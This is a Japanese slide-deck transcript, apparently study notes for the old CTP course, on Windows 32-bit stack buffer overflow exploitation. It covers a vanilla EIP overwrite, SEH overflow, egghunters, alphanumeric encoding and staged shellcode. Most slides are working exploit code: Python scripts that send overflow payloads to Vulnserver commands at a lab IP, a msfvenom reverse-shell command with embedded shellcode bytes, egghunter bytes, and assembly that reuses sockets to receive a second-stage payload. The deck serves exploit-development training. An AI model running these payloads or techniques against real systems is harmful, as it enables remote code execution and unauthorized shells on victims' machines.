Upgrade to Pro — share decks privately, control downloads, hide ads and more …

スタックの歩き方

Avatar for takabayashi takabayashi
September 01, 2020

 スタックの歩き方

Windows 32bitでのBOFのBinary Exploitの雑なまとめ。
(旧CTPコースの内容)

Avatar for takabayashi

takabayashi

September 01, 2020

Other Decks in Technology

Transcript

  1. 目次  Vanilla  SEH Overflow  Egghunter  Alpha_mixed

    shellcode  Staged shellcode  練習教材 参考: https://github.com/takabaya-shi/CTP-Course-memo
  2. Vanilla Buffer Overflow  おおまかな流れは、  Fuzzing  EIPのOffsetの確認 

    Badcharacter(不正文字)の確認  Payloadの実行 参考: stack based buffer overflow https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1- stack-based-overflows/
  3. import sys import socket host = "192.168.56.39" port = 9999

    baddata = “TRUN ." baddata += b"A" * 4000 print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(baddata) s.close() Fuzzing
  4. import sys import socket host = "192.168.56.39" port = 9999

    baddata = “TRUN ." baddata += b“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A ..#省略 print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(baddata) s.close() EIPが0x396f4338に!!
  5. import sys import socket host = "192.168.56.39" port = 9999

    baddata = "TRUN ." baddata += "A"*2006 baddata += "¥xaf¥x11¥x50¥x62" # set EIP to jmpesp_addr baddata += "¥x90"*16 # NOP sled # msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.5 -b "¥x00" -f py buf = b"¥xba¥x1b¥xf5¥x5b¥x7e¥xdb¥xcd¥xd9¥x74¥x24¥xf4¥x5d¥x29" # 省略 buf += b"¥x59¥x7b¥xc9¥xca¥xdd¥x90¥xa3¥x43¥x88¥x96¥x10¥x63¥x99" baddata += buf baddata += "B"*(4000 - len(baddata)) print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(baddata) s.close() これが最終的なExploit!(一部抜粋) 参考:msfvenom https://www.offensive-security.com/metasploit-unleashed/msfvenom/
  6. SEH Overflow  Fuzzingする import sys import socket host =

    "192.168.56.39" port = 9999 baddata = "GMON /" baddata += b"A" * 4000 print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(baddata) s.close()
  7. SEH Overflow  Windowsの例外処理の際に実行されるハンドラーのアドレスはス タック上に格納されるため、その例外ハンドラのアドレスを上書きす ることでEIPを制御できる! typedef struct _EXCEPTION_REGISTRATION_RECORD <-

    SEHレコード(スタック上に存在) { struct _EXCEPTION_REGISTRATION_RECORD *_next; <- 次のSEHレコードのnextのアドレス PEXCEPTION_ROUTINE _handler; <- 例外処理のハンドラー(例外発生時に実 行される) } 参考:SEH overflow https://www.corelan.be/index.php/2009/07/25/writing- buffer-overflow-exploits-a-quick-and-basic-tutorial-part- 3-seh/ https://www.corelan.be/index.php/2009/07/28/seh- based-exploit-writing-tutorial-continued-just-another- example-part-3b/
  8.  例外ハンドラの引数は以下の通り。 EXCEPTION_DISPOSITION __cdecl _except_handler ( <- handlerが呼びだされる際の引数を 定義 _In_

    struct _EXCEPTION_RECORD *_ExceptionRecord, _In_ void * _EstablisherFrame, _Inout_ struct _CONTEXT *_ContextRecord, <- SEHレコードのnextのアドレスを二つ目 (esp+8)に持つ _Inout_ void * _DispatcherContext ); つまり、例外ハンドラ実行直前 のスタックは以下のようになる。 Esp+8のC_Recordにはnextのアドレスがある
  9. 発展:SafeSEH  例外ハンドラのアドレスを事前に保存している例外ハンドラテーブル を用意し、例外ハンドラが呼びだされる際にそのテーブルにあるアド レスかどうかを確認することで、例外ハンドラのアドレスの上書きを 検知する。 したがって、SafeSEHが無効(SafeSEHオプションなしでコンパイルされた)のイメージ(.exeや.dll)のア ドレスで上書きした場合はSafeSEHで実行を阻止できない! つまり、 SafeSEH無効のイメージからpop,pop,retのアドレスをhandlerに上書きすればよい!

    if (その実行可能イメージが例外ハンドラテーブルを持っている): if (呼び出されたハンドラのアドレスが例外ハンドラテーブルに存在する): 実行 else (例外ハンドラテーブルに存在しない): 上書きを検知!実行しない else (実行可能イメージがテーブルを持っていない): 実行 参考:SafeSEH https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part- 6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
  10. どうやってPayload実行する?  ある程度サイズに余裕のある領域にjmpした後、Reverse shell payloadを呼び出すための準備をする →その際、できるだけ少ないバイト数で目的を達成したい! Reverse shell payloadを実行するためにはどうStackPivotすればよ い?

    (“スタック上の大量のAAAAAAA…”のアドレスにjmpするにはどうすれ ばよい?) ヒント:msfvenomで作成されたReverse shell payloadを実行するには約 450バイト前後あれば十分
  11. 解法2  Popad命令ではなくAdd命令でESPを増加  0x7f*7 = 0x379 をESPに加算  合計23バイト

    nasm > add esp,0x7f 00000000 83C47F add esp,byte +0x7f nasm > jmp esp 00000000 FFE4 jmp esp “¥x83¥xc4¥x7f”*7 + “¥xff¥xe4”
  12. 解法3  4バイト分callして次の命令が“¥xff¥xc3”(inc ebx)になりNOPとして働くことで、EIP付近のアドレスを EAXに代入できる!(GetPCと呼ばれる手法)  Dec ah命令でeax=eax-0x100を実行  0x100*2

    = 512バイト分EAXを減算  合計13バイト nasm > call 0x4 00000000 E8FFFFFFFF call 0x4 nasm > ret 00000000 C3 ret nasm > pop eax 00000000 58 pop eax nasm > dec ah 00000000 FECC dec ah nasm > jmp eax 00000000 FFE0 jmp eax “¥xe8¥xff¥xff¥xff¥xff” + “¥xc3” + “¥x58” + “¥xfe¥xcc”*2 + “¥xff¥xe0” 参考:GetPC https://www.corelan.be/index.php/2010/02/25/exploit-writing- tutorial-part-9-introduction-to-win32-shellcoding/
  13. 解法4  Inc ah命令でeax=eax+0x100  0x100*4=0x400分EAXを加算  合計12バイト nasm >

    mov eax,esp 00000000 89E0 mov eax,esp nasm > inc ah 00000000 FEC4 inc ah nasm > jmp eax 00000000 FFE0 jmp eax “¥x89¥xe0” + “¥xfe¥xc4”*4 + “¥xff¥xe0”
  14. 解法5  ESPが指す値はスタックのアドレスであるため、これを利用できる!  合計11バイト nasm > pop eax 00000000

    58 pop eax nasm > inc ah 00000000 FEC4 inc ah nasm > jmp eax 00000000 FFE0 jmp eax “¥x58” + “¥xfe¥xc4”*4 + “¥xff¥xe0”
  15. 解法6  例外ハンドラの引数にはnextのアドレスがある=EIP付近のアドレスが格 納されている →pop,pop,pop命令でそれを取得! 合計9バイト!! nasm > pop eax

    00000000 58 pop eax nasm > dec ah 00000000 FECC dec ah nasm > jmp eax 00000000 FFE0 jmp eax “¥x58”*3 + “¥xfe¥xcc”*2 + “¥xff¥xe0”
  16. 結局  最終的には9バイトあればReverse shell payloadにEIPを制御でき る!!  今回の場合は不正文字(使えない文字)が0x00,0x0a,0x0dだったため、 これらの方法が成功したが、そうでない場合もある! 

    また、スタックの状態も状況によって様々なためその都度、最善手を 考える  特にスタック上に格納されている便利な値を見逃さないよーに!(自 戒)
  17. Egghunter  スタック上のスペースが足りなくてReverse shell payloadが収まらない 時、メモリ上のReverse shell payloadを探索するEgghunterを実行して、 Heapに存在するPayloadにEgghunter経由でJmpする手法 

    Reverse shell payload=約400バイト  Egghunter = 36バイト  →Egghunterを実行してHeapに格納されたPayloadにJmpする! 参考:Egghunter https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8- win32-egg-hunting/
  18.  これがEgghunter(using NtAccessCheck (AndAuditAlarm))  Egghunterはいくつか種類があるが、これが一番安定しているらしい  4バイトのタグ(ここでは”w00t”)をメモリ内で探索する →Reverse shell

    payloadの先頭にタグ(“w00tw00t”)を付ければそれを 見つけてJmpしてくれる! egghunter = "¥x66¥x81¥xCA¥xFF¥x0F¥x42¥x52¥x6A¥x02¥x58¥xCD¥x2E¥x3C¥x05¥x5A¥x74¥xEF¥xB8" egghunter += "¥x77¥x30¥x30¥x74" # this is the marker/tag: w00t egghunter += "¥x8B¥xFA¥xAF¥x75¥xEA¥xAF¥x75¥xE7¥xFF¥xE7“
  19.  ちなみに、このDecoder処理の都合上、msfvenomで作成したPayload を実行する直前には16バイト程度のNOPスレッドが必要となる  参考: https://kakyouim.hatenablog.com/entry/2020/06/15/132936 FLD ST(1) FPU命令。デコード命令のアドレスを取得する際に必要。 FSTENV

    (28-BYTE) PTR SS:[ESP-C] [esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアド レスを含む28bytes分を書き込む。 MOV ESI,BB356FCF ESIを"xor"する際の片方として使う。 POP EAX decode処理の先頭を指すアドレスをeaxに代入する。 XOR ECX,ECX ECX(カウンタ)を初期化。このあとのループ処理の時に使う。 MOV CL,52 ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループ する。 XOR DWORD PTR DS:[EAX+17],ESI [eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"し た値を書き込む! ADD ESI,DWORD PTR DS:[EAX+17] ESIにこの結果を保存する。 ADD EAX,4 (元OR DWORD PTR DS:[EDI]6B) eax+4しておくことで、次の[EAX+17]を"xor"で上書きする 際に、次の4bytesにずらす LOOPD SHORT 0x71FCFB (元XLAT BYTE PTR DS:[EBX+AL]) 以降はECXが0になるまでループを繰り返す。
  20.  例えば、“0xe7ffe775”をスタック上に格納したい場合、 ; last4bytes :0xe7ffe775 ; 2‘s complement :0x1800188b 2の補数

    ; [+] 0: 0x27 0x31 0x33 ; [+] 1: 0x5d 0x5d 0x5e ; [+] 2: 0x55 0x55 0x55 ; [+] 3: 0x5d 0x5d 0x5d ; [+] Example ; [+] init eax ---------------------------------------- EAXを0に!(xorが使えない) and eax,0x4e4e4d4a and eax,0x31313235 ; [+] sub and set eax---------------------------------- EAXを” 0xe7ffe775”に! sub eax,0x5d555d27 sub eax,0x5d555d31 sub eax,0x5d555e33 ; [+] push eax----------------------------------------- スタックに0xe7ffe775をpush push eax この出力をそのままnasmでアセンブルするとEncodeされた命令が得られる! この考え方は以下を参照 https://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/
  21.  ちなみにmsfvenom以外にもEncoderとしてAlpha3というものがある。  実行直前にEIP==REGISTERとする必要がある # python /opt/alpha3/ALPHA3.py x86 ascii mixedcase

    esp --input="egghunter.bin" - -verbose # 102bytes TYhffffk4diFkDql02Dqm0D1CuEE0t3r3t332t4r5N8L7l0p2F1n0p0m4C2v0p02060D5o4J01111n0D3 k3Z3R0A395m133G4O3G02 • ここでは実行直前にEIP==ESPとなっていることを前提としている https://github.com/SkyLined/alpha3
  22. # Encode前のEgghunter # 36bytes egghunter = "¥x31¥xd2¥x90¥x90¥x66¥x81¥xCA¥xFF¥x0F¥x42¥x52¥x6A¥x02¥x58¥xCD¥x2E¥x3C¥x05¥x5A¥x74 ¥xEF¥xB8" egghunter +=

    "w00t" # this is the marker/tag: w00t egghunter += "¥x8B¥xFA¥xAF¥x75¥xEA¥xAF¥x75¥xE7¥xFF¥xE7“ # alpha3でエンコードしたEgghunter # 102bytes TYhffffk4diFkDql02Dqm0D1CuEE0t3r3t332t4r5N8L7l0p2F1n0p0m4C2v0p02060D5o4J01111n0D3 k3Z3R0A395m133G4O3G02 # msfvenomでエンコード # 126bytes TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIvQiBNplPu6oqxJYo6o2baB2JtBShh MtnwLs5SjPtjOH82WFPFP3DlKKJnORU9znOsEYwioYwAA # sub eaxを使ってEncodeをした場合 # 234bytes %JMNN%5211-']U]-1]U]-3^U]P%JMNN%5211-p-Zo-p.Zp-q.apP%JMNN%5211-E'zV-E1}W- F3}WP%JMNN%5211-[l-E-[m-E-[m-EP%JMNN%5211-AS7'-AS71-BT73P%JMNN%5211-T7fE-U8fE- U8fFP%JMNN%5211-P.-1-PG@2-QH@2P%JMNN%5211-3(gU-3)gU-4-gUP%JMNN%5211-Edzz-Edzz- EezzP カスタムEncoderよりalpha3,msfvenomで作成した方がバイト数が小さい!
  23. Staged Shellcode  スタック上のバッファのサイズが少ない場合、追加のバッファを用意 してPayloadを受信するようなShellcodeを作成する手法。  socket.recv()をメモリ上で呼び出して、追加のPayloadを受信! ソケット通信の流れ socket() socket新規作成する

    socket()を実行した段階ではソケットが作られただけであり、ポー ト番号などは未確定 bind() socket登録 生成したソケットにポート番号など割り当て listen() ソケット接続準備 通信接続を待つための準備作業 accept() ソケット接続待機 クライアント側からの通信接続を待つ。サーバ側プログラムが accept()を実行すると、 クライアント側からの通信接続要求が来るまでプログラムが停止し、接続後にプログラムを再開 recv() データ受信
  24. ソケットの再利用、新規作成 1.再利用  すでに作成されており、メモリ上でaccept()状態のソケットを再利用す る  20bytes前後 2.新規作成  ソケット通信していない場合や、一度s.close()でソケットを閉じてから

    しか攻撃が発生しない場合はソケットを新規作成する  65バイト前後 参考: https://deceiveyour.team/2018/10/15/vul nserver-kstet-ws2_32-recv-function-re- use/ https://buffered.io/posts/idsecconf-2013- myftpd-challenge/
  25. 再利用 push eax ; espを低いアドレスにセットしないどshellcodeを破壊しかねない pop esp ; eaxに低いアドレスが入っていたためそれをespに代入する push

    edx ; edxに0x00000000が入っていたためflagに使う。逆順にpushするのに注意 add dh,0x2 ; lenを0x200(512)バイトに設定 push edx ; lenをpush add al,0x40 ; recvしたものを格納するアドレスを設定 ; ある程度の場所に設定する push eax ; *bufをpush push ebx ; ebxにSocket File Descriptorが入っていたためそれをpushする mov eax,0x40252c11 ; eaxに0x0040252cを代入したいが、NULLbytesがあるため右ビットシフトで解決する shr eax,8 call eax ; ws2_32.recv関数のアドレスにjmpして実行 ; データを受信すると*bufに上書きし、このcall eaxの続きから実行を再開する ; そのため、nopで埋めておくとよさそう。 ; 1秒くらいSleepしないと受信できなかったので要注意!!!
  26. 新規作成:socket() block1 = "" # Adjust the stack to prevent

    it from breaking things in our shellcode block1 += "¥x83¥xEC¥x7C" # SUB ESP, 0x7C # socket() socket新規作成する socket()を実行した段階ではソケットが作られただけであり、ポート番号などは未確定 int socket(int domain, int type, int protocol); block1 += "¥xBB¥x44¥x34¥x34¥x40" # MOV EBX,<offsetted address> block1 += "¥xC1¥xEB¥x08" # SHR EBX, 0x8 # set up the stack for the call to `socket` block1 += "¥xB0¥x06" # MOV AL, 0x6 block1 += "¥x50" # PUSH EAX block1 += "¥xB0¥x01" # MOV AL, 0x1 block1 += "¥x50" # PUSH EAX block1 += "¥x40" # INC EAX block1 += "¥x50" # PUSH EAX # invoke the call to `socket` block1 += "¥xFF¥xD3" # CALL EBX socket(2,1,6)を実行! 多分大体はこの設定でよさそう??
  27. 新規作成:bind() # bind() socket登録 生成したソケットにポート番号など割り当て int bind(int sockfd, const struct

    sockaddr *addr, socklen_t addrlen); # save our socket handle block1 += "¥x89¥xC7" # MOV EDI, EAX 0x84がsocket file descriptor # Find sockaddr block1 += "¥x89¥xD9" # MOV ECX, EBX block1 += "¥xB5¥x74" # MOV CH, 0x74 ECXにはport番号とIPアドレスが 格納されているsockaddr構造体のアドレスを指定 # adjust the port number by bumping it up one to 22 block1 += "¥xFE¥x41¥x03" # INC BYTE [ECX+3] # adjust the call pointer to reference bind block1 += "¥xB3¥x54" # MOV BL, 0x54 # prepare the parameters on the stack for the bind call block1 += "¥x6A¥x10" # PUSH 0x10 block1 += "¥x51" # PUSH ECX block1 += "¥x50" # PUSH EAX # invoke the call to `bind` block1 += "¥xFF¥xD3" # CALL EBX
  28. 新規作成:listen() # listen() ソケット接続準備 通信接続を待つための準備作業 int listen(int sockfd, int backlog);

    # adjust the call pointer to reference `listen` block1 += "¥xB3¥x5C" # MOV BL, 0x5C # prepare the parameters on the stack for the `listen` call block1 += "¥x6A¥x7F" # PUSH 0x7F block1 += "¥x57" # PUSH EDI # invoke the call to `listen` block1 += "¥xFF¥xD3" # CALL EBX
  29. 新規作成:accept() # accept() ソケット接続待機 クライアント側からの通信接続を待つ。サーバ側プログラムが accept()を実行すると、 クライアント側からの通信接続要求が来るまでプログラムが停止し、接続後にプログラムを 再開 int accept(int

    sockfd, struct sockaddr *addr, socklen_t *addrlen); # adjust the call pointer to reference `accept` block1 += "¥xB3¥x24" # MOV BL, 0x24 # prepare the parameters on the stack for the `accept` call block1 += "¥x57" # PUSH EDI # invoke the call to `accept` block1 += "¥xFF¥xD3" # CALL EBX
  30. 新規作成:malloc() # malloc() Heap領域にバッファを確保 確保したいメモリのバイトサイズを引数にとる mallocは別にしなくてもいいかも?スタックでも別によさそう?? void *malloc(size_t size); #

    mallocでHeap領域にShellcode分のバッファを確保 # prepare for the malloc call and call it block1 += "¥x8B¥xF8" # MOV EDI, EAX block1 += "¥x66¥xBB¥xD4¥x3D" # MOV BX, 0x3DD4 block1 += "¥x8A¥xE0" # MOV AH, AL sizeは正直大きけ ればなんでもよさそう block1 += "¥x50" # PUSH EAX block1 += "¥xFF¥xD3" # CALL EBX
  31. 新規作成:recv() # recv() データ受信 int recv(SOCKET s,char *buf,int len,int flags);

    # save the memory handle, and push it up ready for later use block1 += "¥x8B¥xF0" # MOV ESI, EAX mallocが返したHeap領域の アドレスをESIに保存 # prep the call for recv block1 += "¥x66¥xBB¥xDC¥x82" # MOV BX, 0x82DC #nasm > xor ecx,ecx #00000000 31C9 xor ecx,ecx #nasm > push ecx #00000000 51 push ecx # push flag #nasm > add ch,0x2 #00000000 80C502 add ch,0x2 # len(0x200)=512bytes #nasm > push ecx #00000000 51 push ecx # push len 0x200 #nasm > push esi #00000000 56 push esi # push heapaddr(returned from malloc) #nasm > push edi #00000000 57 push edi # push socket file descriptor block1 += "¥x31¥xc9¥x51¥x80¥xc5¥x02¥x51¥x56¥x57" block1 += "¥xff¥x13¥xff¥xe6" # call [ebx] # jmp esi
  32. 今までの攻撃手法を具体例で実践!  次のスライドの写真は以下のスクリプトでFuzzingした結果です。どう攻める?  Badcharacterは”¥x00” import sys import socket host

    = "192.168.56.39" port = 9999 baddata = "KSTET ." baddata += b"A" * 1000 print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(baddata) s.close()
  33. Exploit方針  入れられる文字数は93バイト!使えるのは”¥x00”以外! →Reverse shell payloadは400バイト前後なので入りきらない →Egghunter or Staged shellcode

     Egghunterルート →Heap上には400バイト以上格納されてる?(今回は同じく93バイト) →されないなら、”KSTET”コマンド以外のコマンド結果ならHeapに保存されるか? (今回はこの方針でも可能!) ・Staged Shellcodeルート →ソケット削除しなくても発動するため再利用が可能。レジスタ、スタック上から Socket File Descriptorを探す!(この方針でも可能!)
  34. まとめ:Windows(32bit)のBoFいろいろ  Vanilla  SEH Overflow  Egg hunter 

    Staged shellcoding  発展:Omelet hunter  発展:Unicode shellcoding 発展 https://www.corelan.be/index.php/2010/08/22/e xploit-notes-win32-eggs-to-omelet/ https://www.corelan.be/index.php/2009/11/06/e xploit-writing-tutorial-part-7-unicode-from- 0x00410041-to-calc/
  35. 練習教材  Vulnserver Vanilla,SEH,Egghunter,Omlethunter,Staged shellcode https://github.com/stephenbradshaw/vulnserver  Easy File Management

    Web Server 5.3 Vanilla,bruteforce stackaddr https://www.exploit-db.com/exploits/33453  KenWard’s Zipper 1.400 - Local Buffer Overflow Alpha_mixed shellcode https://www.exploit-db.com/exploits/11872  QuickZip 4.60.019 (Windows XP SP3) - Local Stack Buffer Overflow SEH,Alpha_mixed shellcode, egghunter https://www.exploit-db.com/exploits/11764 https://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/ https://www.offensive-security.com/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/ Try Harder!
  36. 練習教材  idsecconf-2013-myftpd-challenge Staged shellcode https://buffered.io/posts/idsecconf-2013-myftpd-challenge/  kolibri-v2-0-http-server-egg-hunter Vanilla https://medium.com/@rafaveira3/exploit-development-kolibri-v2-0-http-server-egg-hunter-example-1-5e435aa84879

    https://tekwizz123.blogspot.com/2014/10/finding-new-vulns-with-fuzzing-and.html  AIMP-2-51-330.zip Unicode shellcode,SEH https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/ https://medium.com/@iphelix/corelan-tutorial-7-exercise-solution-8ee8eaedf36f  Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow Vanilla https://www.exploit-db.com/exploits/46763 https://www.whitelist1.com/2016/11/xstack-overflow-5-exploiting-free-float.html Try Harder!